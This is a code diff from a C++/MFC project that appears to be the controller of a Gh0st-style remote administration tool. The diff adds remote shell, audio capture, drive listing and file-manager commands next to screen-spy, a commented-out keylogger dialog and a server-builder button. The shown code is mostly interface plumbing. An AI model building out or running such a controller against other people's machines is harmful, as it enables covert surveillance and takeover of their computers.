m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||||
}
|
}
|
||||||
|
//TCHAR szBuffer[_MAX_PATH];
|
||||||
|
//VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||||
|
//CString sPath = (CString)szBuffer; sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||||
|
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||||
|
m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||||
|
sPath.ReleaseBuffer();
|
||||||
}
|
}
|
||||||
if (m_CList_Message.m_hWnd != NULL)
|
if (m_CList_Message.m_hWnd != NULL)
|
||||||
{
|
{
|
||||||
@@ -325,6 +337,9 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
int lenth = dd; //转换为int 类型
|
int lenth = dd; //转换为int 类型
|
||||||
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||||
}
|
}
|
||||||
|
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||||
|
m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||||
|
sPath.ReleaseBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
|
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
|
||||||
@@ -373,6 +388,16 @@ int CCcRemoteDlg::InitMyMenu()
|
|||||||
|
|
||||||
int CCcRemoteDlg::InitList()
|
int CCcRemoteDlg::InitList()
|
||||||
{
|
{
|
||||||
|
|
||||||
|
// CLR_NONE没有背景色。图像是透明的。
|
||||||
|
m_CList_Online.SetTextBkColor(CLR_NONE);
|
||||||
|
m_CList_Online.SetBkColor(CLR_NONE);
|
||||||
|
m_CList_Online.SetTextColor(RGB(255, 0, 0));
|
||||||
|
|
||||||
|
m_CList_Message.SetTextBkColor(CLR_NONE);
|
||||||
|
m_CList_Message.SetBkColor(CLR_NONE);
|
||||||
|
//m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||||
|
|
||||||
//设置list可选中
|
//设置list可选中
|
||||||
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
@@ -439,12 +464,13 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
|||||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
|
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
|
||||||
strStatusMsg.Format("已连接: %d", m_OnlineCount);
|
strStatusMsg.Format("已连接: %d", m_OnlineCount);
|
||||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
|
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CCcRemoteDlg::Test()
|
void CCcRemoteDlg::Test()
|
||||||
{
|
{
|
||||||
|
|
||||||
ShowMessage(true, "软件初始化成功...");
|
ShowMessage(true, "软件初始化成功...");
|
||||||
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
|
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
|
||||||
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
|
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
|
||||||
@@ -484,14 +510,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
void CCcRemoteDlg::OnOnlineAudio()
|
void CCcRemoteDlg::OnOnlineAudio()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
MessageBox("声音");
|
// MessageBox("声音");
|
||||||
|
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
|
||||||
|
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CCcRemoteDlg::OnOnlineCmd()
|
void CCcRemoteDlg::OnOnlineCmd()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
MessageBox("CMD");
|
// MessageBox("CMD");
|
||||||
BYTE bToken = COMMAND_SHELL;
|
BYTE bToken = COMMAND_SHELL;
|
||||||
SendSelectCommand(&bToken,sizeof(BYTE));
|
SendSelectCommand(&bToken,sizeof(BYTE));
|
||||||
}
|
}
|
||||||
@@ -508,6 +537,8 @@ void CCcRemoteDlg::OnOnlineDesktop()
|
|||||||
void CCcRemoteDlg::OnOnlineFile()
|
void CCcRemoteDlg::OnOnlineFile()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
BYTE bToken = COMMAND_LIST_DRIVE; //在服务端中搜索COMMAND_LIST_DRIVE
|
||||||
|
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -612,6 +643,7 @@ void CCcRemoteDlg::InitStatusBar()
|
|||||||
//初始化工具条按钮控件
|
//初始化工具条按钮控件
|
||||||
void CCcRemoteDlg::InitToolBar()
|
void CCcRemoteDlg::InitToolBar()
|
||||||
{
|
{
|
||||||
|
|
||||||
//创建工具条
|
//创建工具条
|
||||||
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
|
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
|
||||||
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
|
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
|
||||||
@@ -650,6 +682,7 @@ void CCcRemoteDlg::InitToolBar()
|
|||||||
m_ToolBar.SetButtonText(10, "参数设置");
|
m_ToolBar.SetButtonText(10, "参数设置");
|
||||||
m_ToolBar.SetButtonText(11, "生成服务端");
|
m_ToolBar.SetButtonText(11, "生成服务端");
|
||||||
m_ToolBar.SetButtonText(12, "帮助");
|
m_ToolBar.SetButtonText(12, "帮助");
|
||||||
|
|
||||||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
|
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -695,6 +728,8 @@ void CCcRemoteDlg::OnClose()
|
|||||||
{
|
{
|
||||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||||
Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标
|
Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标
|
||||||
|
m_CList_Message.SetBkImage("relese", TRUE);
|
||||||
|
m_CList_Online.SetBkImage("relese", TRUE);
|
||||||
CDialogEx::OnClose();
|
CDialogEx::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -752,18 +787,18 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
|||||||
{
|
{
|
||||||
switch (pContext->m_Dialog[0])
|
switch (pContext->m_Dialog[0])
|
||||||
{
|
{
|
||||||
//case FILEMANAGER_DLG:
|
case FILEMANAGER_DLG:
|
||||||
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
|
((CFileManagerDlg *)dlg)->OnReceiveComplete();
|
||||||
// break;
|
break;
|
||||||
case SCREENSPY_DLG:
|
case SCREENSPY_DLG:
|
||||||
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
|
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
|
||||||
break;
|
break;
|
||||||
//case WEBCAM_DLG:
|
//case WEBCAM_DLG:
|
||||||
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
|
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
|
||||||
// break;
|
// break;
|
||||||
//case AUDIO_DLG:
|
case AUDIO_DLG:
|
||||||
// ((CAudioDlg *)dlg)->OnReceiveComplete();
|
((CAudioDlg *)dlg)->OnReceiveComplete();
|
||||||
// break;
|
break;
|
||||||
//case KEYBOARD_DLG:
|
//case KEYBOARD_DLG:
|
||||||
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||||
// break;
|
// break;
|
||||||
@@ -810,20 +845,20 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
|||||||
}
|
}
|
||||||
|
|
||||||
break;
|
break;
|
||||||
/*case TOKEN_DRIVE_LIST: // 驱动器列表
|
/*
|
||||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||||||
break;
|
break;
|
||||||
case TOKEN_AUDIO_START: // 语音
|
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
|
||||||
break;
|
|
||||||
case TOKEN_KEYBOARD_START:
|
case TOKEN_KEYBOARD_START:
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||||
break;*/
|
break;*/
|
||||||
|
case TOKEN_AUDIO_START: // 语音
|
||||||
|
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||||
|
break;
|
||||||
|
case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||||
|
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
||||||
|
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||||
|
break;
|
||||||
case TOKEN_BITMAPINFO: //
|
case TOKEN_BITMAPINFO: //
|
||||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||||
@@ -1013,4 +1048,91 @@ LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
pContext->m_Dialog[0] = SCREENSPY_DLG;
|
pContext->m_Dialog[0] = SCREENSPY_DLG;
|
||||||
pContext->m_Dialog[1] = (int)dlg;
|
pContext->m_Dialog[1] = (int)dlg;
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//打开文件管理窗口
|
||||||
|
LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
|
||||||
|
ClientContext *pContext = (ClientContext *)lParam;
|
||||||
|
|
||||||
|
//转到CFileManagerDlg 构造函数
|
||||||
|
CFileManagerDlg *dlg = new CFileManagerDlg(this, m_iocpServer, pContext);
|
||||||
|
// 设置父窗口为桌面
|
||||||
|
dlg->Create(IDD_FILE, GetDesktopWindow());
|
||||||
|
dlg->ShowWindow(SW_SHOW);
|
||||||
|
|
||||||
|
pContext->m_Dialog[0] = FILEMANAGER_DLG;
|
||||||
|
pContext->m_Dialog[1] = (int)dlg;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//音频管理窗口
|
||||||
|
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
ClientContext *pContext = (ClientContext *)lParam;
|
||||||
|
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
|
||||||
|
// 设置父窗口为卓面
|
||||||
|
dlg->Create(IDD_AUDIO, GetDesktopWindow());
|
||||||
|
dlg->ShowWindow(SW_SHOW);
|
||||||
|
pContext->m_Dialog[0] = AUDIO_DLG;
|
||||||
|
pContext->m_Dialog[1] = (int)dlg;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//绘制背景图片
|
||||||
|
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||||
|
{
|
||||||
|
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||||
|
//CDC MemDC; MemDC.CreateCompatibleDC(pDC);
|
||||||
|
//CBitmap Cbp;
|
||||||
|
//Cbp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||||
|
//MemDC.SelectObject(&Cbp);
|
||||||
|
//BITMAP Bp;
|
||||||
|
//Cbp.GetBitmap(&Bp);
|
||||||
|
//CRect rect;
|
||||||
|
//GetClientRect(&rect);
|
||||||
|
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
|
||||||
|
//MemDC.DeleteDC();
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
return CDialogEx::OnEraseBkgnd(pDC);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||||
|
{
|
||||||
|
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||||
|
|
||||||
|
// TODO: 在此更改 DC 的任何特性
|
||||||
|
//switch (pWnd->GetDlgCtrlID()) {
|
||||||
|
////case IDC_STATIC_NAME:
|
||||||
|
////case IDC_STATIC_ID:
|
||||||
|
////case IDC_STATIC_PW:
|
||||||
|
//// pDC->SetBkMode(TRANSPARENT);
|
||||||
|
//// pDC->SetTextColor(RGB(0, 255, 0));
|
||||||
|
//// hbr = (HBRUSH)GetStockObject(NULL_BRUSH);//空画刷,不加此句会有阴影
|
||||||
|
//// break;
|
||||||
|
//case IDR_TOOLBAR_MAIN:
|
||||||
|
// CWnd* pd;
|
||||||
|
// CRect rc;
|
||||||
|
// if (pWnd->GetDlgCtrlID() == IDR_TOOLBAR_MAIN)
|
||||||
|
// pd = (CWnd*)GetDlgItem(IDR_TOOLBAR_MAIN);
|
||||||
|
// pd->GetClientRect(&rc);
|
||||||
|
// ScreenToClient(&rc);
|
||||||
|
// pDC->SetBkMode(TRANSPARENT);
|
||||||
|
// pDC->SetTextColor(RGB(255, 0, 0));
|
||||||
|
// CBitmap bmp;
|
||||||
|
// bmp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||||
|
// CBrush brush(&bmp);
|
||||||
|
// CBrush* pOldBrush = (CBrush*)pDC->SelectObject(&brush);
|
||||||
|
// pDC->FillRect(&rc, &brush);
|
||||||
|
// hbr = (HBRUSH)brush;
|
||||||
|
// break;
|
||||||
|
//}
|
||||||
|
|
||||||
|
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||||
|
return hbr;
|
||||||
|
}
|
||||||
|
@@ -8,6 +8,8 @@
|
|||||||
#include "CShellDlg.h"
|
#include "CShellDlg.h"
|
||||||
#include "CSystemDlg.h"
|
#include "CSystemDlg.h"
|
||||||
#include "CScreenSpyDlg.h"
|
#include "CScreenSpyDlg.h"
|
||||||
|
#include "CFileManagerDlg.h"
|
||||||
|
#include "CAudioDlg.h"
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
@@ -47,7 +49,7 @@ public:
|
|||||||
|
|
||||||
private:
|
private:
|
||||||
//--------------变量及常量----------------
|
//--------------变量及常量----------------
|
||||||
SEU_QQwry *m_QQwry;
|
SEU_QQwry *m_QQwry; //识别IP区域
|
||||||
int m_OnlineCount;//上线计数
|
int m_OnlineCount;//上线计数
|
||||||
CBrush m_brush;//绘色函数
|
CBrush m_brush;//绘色函数
|
||||||
CMenu popup;//LIST菜单变量
|
CMenu popup;//LIST菜单变量
|
||||||
@@ -101,6 +103,8 @@ public:
|
|||||||
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
|
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
|
||||||
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
|
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
|
||||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
||||||
|
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
|
||||||
|
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||||
|
|
||||||
//-------------系统消息处理-------------
|
//-------------系统消息处理-------------
|
||||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
@@ -121,4 +125,7 @@ public:
|
|||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
private:
|
private:
|
||||||
void SendSelectCommand(PBYTE pData, UINT nSize);
|
void SendSelectCommand(PBYTE pData, UINT nSize);
|
||||||
|
public:
|
||||||
|
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||||
|
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||||
};
|
};
|
||||||
|
@@ -2,16 +2,21 @@ g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
|
|||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||||
g:\ccremote\ccremote\bin\ccremote.ilk
|
g:\ccremote\ccremote\bin\ccremote.ilk
|
||||||
|
@@ -1,45 +1,5 @@
|
|||||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
pch.cpp
|
CAudioDlg.cpp
|
||||||
CcRemote.cpp
|
g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
CcRemoteDlg.cpp
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(167): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(325): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(798): warning C4018: “<=”: 有符号/无符号不匹配
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(880): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
|
||||||
CScreenSpyDlg.cpp
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
|
||||||
CSettingDlg.cpp
|
|
||||||
CShellDlg.cpp
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
|
||||||
CSystemDlg.cpp
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
|
||||||
CpuUsage.cpp
|
|
||||||
IniFile.cpp
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
|
||||||
SEU_QQwry.cpp
|
|
||||||
TrueColorToolBar.cpp
|
|
||||||
正在生成代码...
|
|
||||||
Buffer.cpp
|
|
||||||
IOCPServer.cpp
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
|
||||||
正在生成代码...
|
|
||||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||||
|
63
CcRemote/CcRemote/FileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
// CInputDlg.cpp: 实现文件
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
#include "CcRemote.h"
|
||||||
|
#include "FileTransferModeDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CFileTransferModeDlg 对话框
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
|
||||||
|
|
||||||
|
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=nullptr*/)
|
||||||
|
: CDialog(IDD_TRANSFERMODE_DLG, pParent)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
CFileTransferModeDlg::~CFileTransferModeDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||||
|
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CFileTransferModeDlg 消息处理程序
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||||
|
{
|
||||||
